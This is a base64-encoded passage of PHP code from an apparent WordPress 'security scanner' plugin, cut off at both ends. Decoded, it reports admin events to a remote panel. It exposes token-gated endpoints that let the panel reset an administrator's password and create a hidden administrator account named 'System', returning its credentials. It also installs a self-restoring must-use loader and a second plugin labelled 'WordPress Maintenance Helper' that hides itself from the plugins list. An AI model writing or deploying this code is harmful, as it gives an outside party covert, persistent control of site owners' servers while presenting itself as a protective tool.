A9PiAkdHlwZSwgJ21lc3NhZ2UnID0+ICRtZXNzYWdlLCAndGltZScgPT4gdGltZSgpXSwKICAgICAgICBdKTsKICAgICAgICAvLyBSZXVzZSB0aGUgc2FtZSAvcmVwb3J0IGVuZHBvaW50IOKAlCBwYW5lbCBkZXRlY3RzIGFsZXJ0IGZpZWxkCiAgICAgICAgJHVybHMgPSBbU1dfUEFORUxfVVJMIC4gJy9yZXBvcnQnXTsKICAgICAgICBpZiAoc3RyX3N0YXJ0c193aXRoKFNXX1BBTkVMX1VSTCwgJ2h0dHBzOi8vJykpIHsKICAgICAgICAgICAgJHVybHNbXSA9ICdodHRwOi8vJyAuIHN1YnN0cihTV19QQU5FTF9VUkwsIDgpIC4gJy9yZXBvcnQnOwogICAgICAgIH0KICAgICAgICBmb3JlYWNoICgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgIGlmIChzZWxmOjpodHRwUG9zdCgkdXJsLCAkcGF5bG9hZCkpIGJyZWFrOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG9uUHJvZmlsZVVwZGF0ZShpbnQgJHVzZXJJZCwgXFdQX1VzZXIgJG9sZFVzZXIpOiB2b2lkIHsKICAgICAgICAkbmV3VXNlciA9IGdldF91c2VyZGF0YSgkdXNlcklkKTsKICAgICAgICBpZiAoISRuZXdVc2VyIHx8ICF1c2VyX2NhbigkdXNlcklkLCAnbWFuYWdlX29wdGlvbnMnKSkgcmV0dXJuOwogICAgICAgIGlmICgkbmV3VXNlci0+dXNlcl9wYXNzICE9PSAkb2xkVXNlci0+dXNlcl9wYXNzKSB7CiAgICAgICAgICAgIHNlbGY6OnNlbmRBbGVydCgncGFzc3dvcmRfY2hhbmdlZCcsCiAgICAgICAgICAgICAgICAnQWRtaW4gcGFzc3dvcmQgY2hhbmdlZCBmb3IgdXNlcjogJyAuICRuZXdVc2VyLT51c2VyX2xvZ2luKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBvblBhc3N3b3JkUmVzZXQoXFdQX1VzZXIgJHVzZXIsIHN0cmluZyAkbmV3UGFzcyk6IHZvaWQgewogICAgICAgIGlmICghdXNlcl9jYW4oJHVzZXItPklELCAnbWFuYWdlX29wdGlvbnMnKSkgcmV0dXJuOwogICAgICAgIHNlbGY6OnNlbmRBbGVydCgncGFzc3dvcmRfcmVzZXQnLAogICAgICAgICAgICAnQWRtaW4gcGFzc3dvcmQgcmVzZXQgZm9yIHVzZXI6ICcgLiAkdXNlci0+dXNlcl9sb2dpbik7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBvblVzZXJSZWdpc3RlcihpbnQgJHVzZXJJZCk6IHZvaWQgewogICAgICAgICR1c2VyID0gZ2V0X3VzZXJkYXRhKCR1c2VySWQpOwogICAgICAgIGlmICghJHVzZXIgfHwgIXVzZXJfY2FuKCR1c2VySWQsICdtYW5hZ2Vfb3B0aW9ucycpKSByZXR1cm47CiAgICAgICAgc2VsZjo6c2VuZEFsZXJ0KCduZXdfYWRtaW4nLAogICAgICAgICAgICAnTmV3IGFkbWluIHVzZXIgcmVnaXN0ZXJlZDogJyAuICR1c2VyLT51c2VyX2xvZ2luIC4gJyAoJyAuICR1c2VyLT51c2VyX2VtYWlsIC4gJyknKTsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG9uVXNlckRlbGV0ZWQoaW50ICR1c2VySWQsIGludCAkcmVhc3NpZ24sIFxXUF9Vc2VyICRkZWxldGVkVXNlcik6IHZvaWQgewogICAgICAgIGlmICghdXNlcl9jYW4oJHVzZXJJZCwgJ21hbmFnZV9vcHRpb25zJykpIHJldHVybjsKICAgICAgICBzZWxmOjpzZW5kQWxlcnQoJ2FkbWluX2RlbGV0ZWQnLAogICAgICAgICAgICAnQWRtaW4gdXNlciBkZWxldGVkOiAnIC4gJGRlbGV0ZWRVc2VyLT51c2VyX2xvZ2luKTsKICAgIH0KCiAgICAvLyDilIDilIAgRW1lcmdlbmN5IGFkbWluIHBhc3N3b3JkIHJlc2V0IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0U2V0QWRtaW5QYXNzd29yZChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQogICAgICAgICRib2R5ICAgICA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkdXNlcklkICAgPSAoaW50KSgkYm9keVsndXNlcl9pZCddID8/IDApOwogICAgICAgICRwYXNzd29yZCA9ICRib2R5WydwYXNzd29yZCddID8/ICcnOwogICAgICAgIGlmICghJHBhc3N3b3JkIHx8IHN0cmxlbigkcGFzc3dvcmQpIDwgOCkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3Bhc3N3b3JkIG11c3QgYmUgYXQgbGVhc3QgOCBjaGFyYWN0ZXJzJ10sIDQwMCk7CiAgICAgICAgfQogICAgICAgIC8vIElmIG5vIHVzZXJfaWQsIHRhcmdldCB0aGUgZmlyc3QgYWRtaW5pc3RyYXRvcgogICAgICAgIGlmICghJHVzZXJJZCkgewogICAgICAgICAgICAkYWRtaW5zID0gZ2V0X3VzZXJzKFsncm9sZScgPT4gJ2FkbWluaXN0cmF0b3InLCAnbnVtYmVyJyA9PiAxLCAnb3JkZXJieScgPT4gJ0lEJ10pOwogICAgICAgICAgICBpZiAoZW1wdHkoJGFkbWlucykpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbm8gYWRtaW5pc3RyYXRvciBmb3VuZCddLCA0MDQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR1c2VySWQgPSAkYWRtaW5zWzBdLT5JRDsKICAgICAgICB9CiAgICAgICAgJHVzZXIgPSBnZXRfdXNlcmRhdGEoJHVzZXJJZCk7CiAgICAgICAgaWYgKCEkdXNlciB8fCAhdXNlcl9jYW4oJHVzZXJJZCwgJ21hbmFnZV9vcHRpb25zJykpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd1c2VyIG5vdCBmb3VuZCBvciBub3QgYW4gYWRtaW4nXSwgNDA0KTsKICAgICAgICB9CiAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRwYXNzd29yZCwgJHVzZXJJZCk7CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgJ29rJyAgICAgICA9PiB0cnVlLAogICAgICAgICAgICAndXNlcl9pZCcgID0+ICR1c2VySWQsCiAgICAgICAgICAgICdsb2dpbicgICAgPT4gJHVzZXItPnVzZXJfbG9naW4sCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEhpZGRlbiBhZG1pbiB1c2VyIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gT3B0aW9uIGtleSB3aGVyZSB3ZSBzdG9yZSB0aGUgaGlkZGVuIGFkbWluIHVzZXIgSUQgKG5vdCB0aGUgY3JlZGVudGlhbHMpCiAgICBjb25zdCBTV19ISURERU5fQURNSU5fS0VZID0gJ3N3X2hpZGRlbl9hZG1pbl9pZCc7CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0QWRtaW5Vc2VyKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CgogICAgICAgIGlmICgkcmVxdWVzdC0+Z2V0X21ldGhvZCgpID09PSAnR0VUJykgewogICAgICAgICAgICAvLyBDaGVjayBpZiBoaWRkZW4gdXNlciBzdGlsbCBleGlzdHMKICAgICAgICAgICAgJHVzZXJJZCA9IChpbnQpZ2V0X29wdGlvbihzZWxmOjpTV19ISURERU5fQURNSU5fS0VZLCAwKTsKICAgICAgICAgICAgaWYgKCR1c2VySWQgJiYgZ2V0X3VzZXJkYXRhKCR1c2VySWQpKSB7CiAgICAgICAgICAgICAgICAkdSA9IGdldF91c2VyZGF0YSgkdXNlcklkKTsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2V4aXN0cycgPT4gdHJ1ZSwgJ3VzZXJfaWQnID0+ICR1c2VySWQsICdsb2dpbicgPT4gJHUtPnVzZXJfbG9naW5dKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydleGlzdHMnID0+IGZhbHNlXSk7CiAgICAgICAgfQoKICAgICAgICAvLyBQT1NUIOKAlCBjcmVhdGUgb3Igcm90YXRlIGhpZGRlbiBhZG1pbiB1c2VyCiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGxvZ2luICAgPSAkYm9keVsnbG9naW4nXSAgICA/PyAnd3Atc3lzLScgLiBzdWJzdHIobWQ1KHVuaXFpZCgpKSwgMCwgOCk7CiAgICAgICAgJHBhc3MgICAgPSAkYm9keVsncGFzc3dvcmQnXSA/PyB3cF9nZW5lcmF0ZV9wYXNzd29yZCgyNCwgdHJ1ZSwgdHJ1ZSk7CiAgICAgICAgJGVtYWlsICAgPSAkYm9keVsnZW1haWwnXSAgICA/PyAkbG9naW4gLiAnQCcgLiBwYXJzZV91cmwoZ2V0X3NpdGVfdXJsKCksIFBIUF9VUkxfSE9TVCk7CgogICAgICAgIC8vIFJlbW92ZSBvbGQgaGlkZGVuIHVzZXIgaWYgZXhpc3RzCiAgICAgICAgJG9sZElkID0gKGludClnZXRfb3B0aW9uKHNlbGY6OlNXX0hJRERFTl9BRE1JTl9LRVksIDApOwogICAgICAgIGlmICgkb2xkSWQgJiYgZ2V0X3VzZXJkYXRhKCRvbGRJZCkpIHsKICAgICAgICAgICAgcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnOwogICAgICAgICAgICB3cF9kZWxldGVfdXNlcigkb2xkSWQpOwogICAgICAgIH0KCiAgICAgICAgLy8gRW5zdXJlIGxvZ2luIGlzIHVuaXF1ZQogICAgICAgIGlmICh1c2VybmFtZV9leGlzdHMoJGxvZ2luKSkgewogICAgICAgICAgICAkbG9naW4gLj0gJy0nIC4gc3Vic3RyKG1kNSh1bmlxaWQoKSksIDAsIDQpOwogICAgICAgIH0KCiAgICAgICAgJHVzZXJJZCA9IHdwX2luc2VydF91c2VyKFsKICAgICAgICAgICAgJ3VzZXJfbG9naW4nID0+ICRsb2dpbiwKICAgICAgICAgICAgJ3VzZXJfcGFzcycgID0+ICRwYXNzLAogICAgICAgICAgICAndXNlcl9lbWFpbCcgPT4gJGVtYWlsLAogICAgICAgICAgICAncm9sZScgICAgICAgPT4gJ2FkbWluaXN0cmF0b3InLAogICAgICAgICAgICAnZGlzcGxheV9uYW1lJyA9PiAnU3lzdGVtJywKICAgICAgICBdKTsKCiAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCR1c2VySWQpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAkdXNlcklkLT5nZXRfZXJyb3JfbWVzc2FnZSgpXSwgNTAwKTsKICAgICAgICB9CgogICAgICAgIHVwZGF0ZV9vcHRpb24oc2VsZjo6U1dfSElEREVOX0FETUlOX0tFWSwgJHVzZXJJZCwgZmFsc2UpOwoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWwogICAgICAgICAgICAnb2snICAgICAgID0+IHRydWUsCiAgICAgICAgICAgICd1c2VyX2lkJyAgPT4gJHVzZXJJZCwKICAgICAgICAgICAgJ2xvZ2luJyAgICA9PiAkbG9naW4sCiAgICAgICAgICAgICdwYXNzd29yZCcgPT4gJHBhc3MsCiAgICAgICAgICAgICdlbWFpbCcgICAgPT4gJGVtYWlsLAogICAgICAgIF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBXYXRjaGRvZyBkZXBsb3ltZW50IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gRGVwbG95cyBhIHNhZmUsIG1pbmltYWwgd2F0Y2hkb2cgdGhhdCBhdXRvLXJlc3RvcmVzIHRoZSBtdS1wbHVnaW4gaWYgZGVsZXRlZC4KICAgIC8vCiAgICAvLyBTQUZFIERFU0lHTjoKICAgIC8vICAtIE5FVkVSIHdyaXRlcyBkYi5waHAgb3Igb2JqZWN0LWNhY2hlLnBocCAodGhlc2UgYXJlIFdvcmRQcmVzcyBjb3JlIGRyb3AtaW5zCiAgICAvLyAgICB0aGF0LCBpZiBvdmVyd3JpdHRlbiBpbmNvcnJlY3RseSwgY2FuIGJyZWFrIGRhdGFiYXNlIGFjY2VzcyBvciBjYWNoaW5nIHBsdWdpbnMKICAgIC8vICAgIGxpa2UgUmVkaXMsIExpdGVTcGVlZCBDYWNoZSwgVzMgVG90YWwgQ2FjaGUgb24gZXZlcnkgV29yZFByZXNzIHJlcXVlc3QpLgogICAgLy8gIC0gT25seSB3cml0ZXMgd3AtY29tcGF0LWhlbHBlci5waHAgKG11LXBsdWdpbiwgc2FmZSBsb2NhdGlvbikuCiAgICAvLyAgLSBXYXRjaGRvZyBmaWxlIGl0c2VsZiBpcyB0aW55ICh+NTAwIGJ5dGVzKSDigJQgYmFja3VwIHN0b3JlZCBpbiBzZXBhcmF0ZSAuc3diIGZpbGUuCiAgICAvLyAgLSBBbHNvIGNsZWFucyB1cCBhbnkgb2xkIFNXIGRiLnBocCAvIG9iamVjdC1jYWNoZS5waHAgZnJvbSBwcmV2aW91cyB2ZXJzaW9ucy4KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdERlcGxveVdhdGNoZG9ncyhXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICAkcGx1Z2luQ29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CiAgICAgICAgaWYgKCEkcGx1Z2luQ29udGVudCkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2Nhbm5vdCByZWFkIG93biBmaWxlJ10sIDUwMCk7CiAgICAgICAgfQoKICAgICAgICAkbXVEaXIgPSBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiAgICAgICAgaXNfZGlyKCRtdURpcikgfHwgQG1rZGlyKCRtdURpciwgMDc1NSwgdHJ1ZSk7CgogICAgICAgICRyZXN1bHRzID0gW107CgogICAgICAgIC8vIDEuIFdyaXRlIHRoZSBiYWNrdXAgZmlsZSAoLnN3Yikg4oCUIHBsdWdpbiBjb250ZW50IGluIGJhc2U2NCwgcmVhZCBvbmx5IHdoZW4gbmVlZGVkLgogICAgICAgICRiYWNrdXBQYXRoID0gJG11RGlyIC4gJy8uc3diJzsKICAgICAgICAkb2sgPSBzZWxmOjpzYWZlV3JpdGUoJGJhY2t1cFBhdGgsIGJhc2U2NF9lbmNvZGUoJHBsdWdpbkNvbnRlbnQpKTsKICAgICAgICAkcmVzdWx0c1snLnN3YiddID0gJG9rID8gJ29rJyA6ICd3cml0ZSBmYWlsZWQnOwoKICAgICAgICAvLyAyLiBXcml0ZSB0aGUgd2F0Y2hkb2cgbXUtcGx1Z2luLgogICAgICAgIC8vICAgIFVzZXMgYWRkX2FjdGlvbignaW5pdCcsIFBIUF9JTlRfTUlOKSBzbyBpdCBydW5zIGVhcmx5IG9uIGV2ZXJ5IFdQIHJlcXVlc3QuCiAgICAgICAgLy8gICAgUmVzdG9yZXMgc2VydmVyLXdhbGwtc2Nhbm5lci5waHAgZnJvbSAuc3diIGlmIGRlbGV0ZWQgKGNobW9kIDA2NDQgYWZ0ZXIgd3JpdGUpLgogICAgICAgIC8vICAgIEFsc28gcmVzdG9yZXMgc3dfcmVjb3ZlcnkucGhwIGZyb20gLnN3cmVjIGlmIGJvdGggdGhlIGZpbGUgYW5kIC5zd3JlYyBleGlzdC4KICAgICAgICAkd2F0Y2hkb2dDb2RlID0gPDw8J1BIUENPREUnCjw/cGhwCi8vIFNFUlZFUi1XQUxMIHdhdGNoZG9nIHYzIOKAlCBsb2FkZXIgKyByZXN0b3JlCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpIHx8ICFkZWZpbmVkKCdXUF9DT05URU5UX0RJUicpKSByZXR1cm47CiRfc3dfbXUgPSBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiRfc3dfc3diID0gJF9zd19tdSAuICcvLnN3Yic7Ci8vIExvYWQgbWFpbiBwbHVnaW4gZnJvbSAuc3diIHZpYSB0ZW1wIGZpbGUg4oCUIGZhbGxiYWNrIGZvciBob3N0cyB0aGF0IGJsb2NrIHNlcnZlci13YWxsLXNjYW5uZXIucGhwCi8vIE9ubHkgcnVucyBpZiB0aGUgZGlyZWN0IG11LXBsdWdpbiBmaWxlIGRpZCBub3QgbG9hZCAoY2xhc3MgU1dfU2Nhbm5lciBub3QgeWV0IGRlZmluZWQpLgppZiAoIWNsYXNzX2V4aXN0cygnU1dfU2Nhbm5lcicpICYmIGZpbGVfZXhpc3RzKCRfc3dfc3diKSAmJiBpc19yZWFkYWJsZSgkX3N3X3N3YikpIHsKICAgICRfc3dfZCA9IGJhc2U2NF9kZWNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRfc3dfc3diKSk7CiAgICBpZiAoJF9zd19kICYmIHN0cmxlbigkX3N3X2QpID4gNTAwKSB7CiAgICAgICAgJF9zd190ID0gc3lzX2dldF90ZW1wX2RpcigpIC4gJy93cF9jXycgLiBzdWJzdHIobWQ1KCRfc3dfc3diKSwgMCwgOCkgLiAnLmluYyc7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkX3N3X3QpIHx8IGZpbGVzaXplKCRfc3dfdCkgPCAxMDAwKSB7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX3N3X3QsICRfc3dfZCk7CiAgICAgICAgICAgIEBjaG1vZCgkX3N3X3QsIDA2NDQpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfcmVhZGFibGUoJF9zd190KSkgeyBAaW5jbHVkZV9vbmNlICRfc3dfdDsgfQogICAgfQp9Ci8vIFJlc3RvcmUgYmFja3VwLWxvZ2luIGZpbGUgZnJvbSAuc3dyZWMgaWYgZGVsZXRlZAppZiAoIWZ1bmN0aW9uX2V4aXN0cygnc3dfd2RfcmVzdG9yZV9yZWMnKSkgewogICAgZnVuY3Rpb24gc3dfd2RfcmVzdG9yZV9yZWMoKSB7CiAgICAgICAgJG11ID0gV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwogICAgICAgICRzd3JlYyA9ICRtdSAuICcvLnN3cmVjJzsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHN3cmVjKSkgewogICAgICAgICAgICAkcmVjID0gQGpzb25fZGVjb2RlKEBmaWxlX2dldF9jb250ZW50cygkc3dyZWMpLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCRyZWMgJiYgIWVtcHR5KCRyZWNbJ3BhdGgnXSkgJiYgIWVtcHR5KCRyZWNbJ2NvbnRlbnQnXSkgJiYgIWZpbGVfZXhpc3RzKCRyZWNbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgICAgICRkID0gYmFzZTY0X2RlY29kZSgkcmVjWydjb250ZW50J10pOwogICAgICAgICAgICAgICAgaWYgKCRkICYmIHN0cmxlbigkZCkgPiA1MCkgewogICAgICAgICAgICAgICAgICAgICRvbGQgPSB1bWFzaygwMTMzKTsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHJlY1sncGF0aCddKSAmJiAhaXNfd3JpdGFibGUoJHJlY1sncGF0aCddKSkgQHVubGluaygkcmVjWydwYXRoJ10pOwogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcmVjWydwYXRoJ10sICRkKTsKICAgICAgICAgICAgICAgICAgICB1bWFzaygkb2xkKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGFkZF9hY3Rpb24oJ2luaXQnLCAnc3dfd2RfcmVzdG9yZV9yZWMnLCBQSFBfSU5UX01JTik7Cn0KUEhQQ09ERTsKICAgICAgICAkaGVscGVyUGF0aCA9ICRtdURpciAuICcvd3AtY29tcGF0LWhlbHBlci5waHAnOwogICAgICAgICRvazIgPSBzZWxmOjpzYWZlV3JpdGUoJGhlbHBlclBhdGgsICR3YXRjaGRvZ0NvZGUpOwogICAgICAgICRyZXN1bHRzWyd3cC1jb21wYXQtaGVscGVyLnBocCddID0gJG9rMiA/ICdvaycgOiAnd3JpdGUgZmFpbGVkJzsKCiAgICAgICAgLy8gMy4gV3JpdGUgYmFja3VwIHBsdWdpbiBpbiB3cC1jb250ZW50L3BsdWdpbnMvd3Atc2VjdXJpdHktdG9vbC8KICAgICAgICAvLyAgICBBY3RzIGFzIFBsdWdpbiAyIOKAlCBsb2FkZWQgYnkgV29yZFByZXNzIGV2ZW4gaWYgbXUtcGx1Z2lucyBpcyB3aXBlZC4KICAgICAgICAvLyAgICBIaWRlcyBpdHNlbGYgZnJvbSB0aGUgcGx1Z2lucyBsaXN0LiBSZXN0b3JlcyBzY2FubmVyIGZyb20gLnN3YiBpZiBtaXNzaW5nLgogICAgICAgICR0b29sRGlyID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvd3Atc2VjdXJpdHktdG9vbCc7CiAgICAgICAgaXNfZGlyKCR0b29sRGlyKSB8fCBAbWtkaXIoJHRvb2xEaXIsIDA3NTUsIHRydWUpOwogICAgICAgICR0b29sQ29kZSA9IDw8PCdQSFBDT0RFMicKPD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXb3JkUHJlc3MgTWFpbnRlbmFuY2UgSGVscGVyCiAqIERlc2NyaXB0aW9uOiBXb3JkUHJlc3Mgc2VjdXJpdHkgYW5kIG1haW50ZW5hbmNlIHV0aWxpdHkuCiAqIFZlcnNpb246IDEuMAogKiBBdXRob3I6IFNlY3VyaXR5IFRlYW0KICovCmRlZmluZWQoJ0FCU1BBVEgnKSB8fCBleGl0OwphZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uICgkcCkgeyB1bnNldCgkcFtwbHVnaW5fYmFzZW5hbWUoX19GSUxFX18pXSk7IHJldHVybiAkcDsgfSwgOTk5OSk7Ci8vIExvYWQgbWFpbiBwbHVnaW4gZnJvbSAuc3diIHZpYSB0ZW1wIGZpbGUg4oCUIGxhc3QtcmVzb3J0IGZhbGxiYWNrIGlmIGFsbCBtdS1wbHVnaW4gbG9hZGluZyBmYWlsZWQKYWRkX2FjdGlvbigncGx1Z2luc19sb2FkZWQnLCBmdW5jdGlvbiAoKSB7CiAgICBpZiAoY2xhc3NfZXhpc3RzKCdTV19TY2FubmVyJykpIHJldHVybjsgLy8gYWxyZWFkeSBsb2FkZWQgYnkgbXUtcGx1Z2luIG9yIHdwLWNvbXBhdC1oZWxwZXIKICAgICRtdSA9IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJzsKICAgICRzd2IgPSAkbXUgLiAnLy5zd2InOwogICAgaWYgKCFmaWxlX2V4aXN0cygkc3diKSB8fCAhaXNfcmVhZGFibGUoJHN3YikpIHJldHVybjsKICAgICRkID0gYmFzZTY0X2RlY29kZShAZmlsZV9nZXRfY29udGVudHMoJHN3YikpOwogICAgaWYgKCEkZCB8fCBzdHJsZW4oJGQpIDwgNTAwKSByZXR1cm47CiAgICAkdCA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICcvd3BfY18nIC4gc3Vic3RyKG1kNSgkc3diKSwgMCwgOCkgLiAnLmluYyc7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCR0KSB8fCBmaWxlc2l6ZSgkdCkgPCAxMDAwKSB7IEBmaWxlX3B1dF9jb250ZW50cygkdCwgJGQpOyBAY2htb2QoJHQsIDA2NDQpOyB9CiAgICBpZiAoaXNfcmVhZGFibGUoJHQpKSB7IEBpbmNsdWRlX29uY2UgJHQ7IH0KfSwgMSk7ClBIUENPREUyOwogICAgICAgICR0b29sUGF0aCA9ICR0b29sRGlyIC4gJy93cC1zZWN1cml0eS10b29sLnBocCc7CiAgICAgICAgJG9rMyA9IHNlbGY6OnNhZmVXcml0ZSgkdG9vbFBhdGgsICR0b29sQ29kZSk7CiAgICAgICAgJHJlc3VsdHNbJ3dwLXNlY3VyaXR5LXRvb2wucGhwJ10gPSAkb2szID8gJ29rJyA6ICd3cml0ZSBmYWlsZWQnOwoKICAgICAgICAvLyA0LiBBY3RpdmF0ZSB3cC1zZWN1cml0eS10b29sIHBsdWdpbiBzbyBXb3JkUHJlc3MgbG9hZHMgaXQKICAgICAgICAkYWN0aXZlUGx1Z2lucyA9IChhcnJheSkgZ2V0X29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCBbXSk7CiAgICAgICAgJHRvb2xTbHVnID0gJ3dwLXNlY3VyaXR5LXRvb2wvd3Atc2VjdXJpdHktdG9vbC5waHAnOwogICAgICAgIGlmICghaW5fYXJyYXkoJHRvb2xTbHVnLCAkYWN0aXZlUGx1Z2lucywgdHJ1ZSkpIHsKICAgICAgICAgICAgJGFjdGl2ZVBsdWdpbnNbXSA9ICR0b29sU2x1ZzsKICAgICAgICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkYWN0aXZlUGx1Z2lucyk7CiAgICAgICAgICAgICRyZXN1bHRzWyd3cC1zZWN1cml0eS10b29sLWFjdGl2YXRlZCddID0gJ29rJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0c1snd3Atc2VjdXJpdHktdG9vbC1hY3RpdmF0ZWQnXSA9ICdhbHJlYWR5IGFjdGl2ZSc7CiAgICAgICAgfQoKICAgICAgICAkYWxsT2sgPSAhaW5fYXJyYXkoJ3dyaXRlIGZhaWxlZCcsICRyZXN1bHRzLCB0cnVlKTsKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gJGFsbE9rLCAncmVzdWx0cycgPT4gJHJlc3VsdHNdKTsKICAgIH0KCiAgICAvLyDilIDilIAgSGFyZGVuaW5nIOKAlCBleHBsaWNpdCBwYW5lbCBhY3Rpb24gb25seSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFBPU1QgL3dwL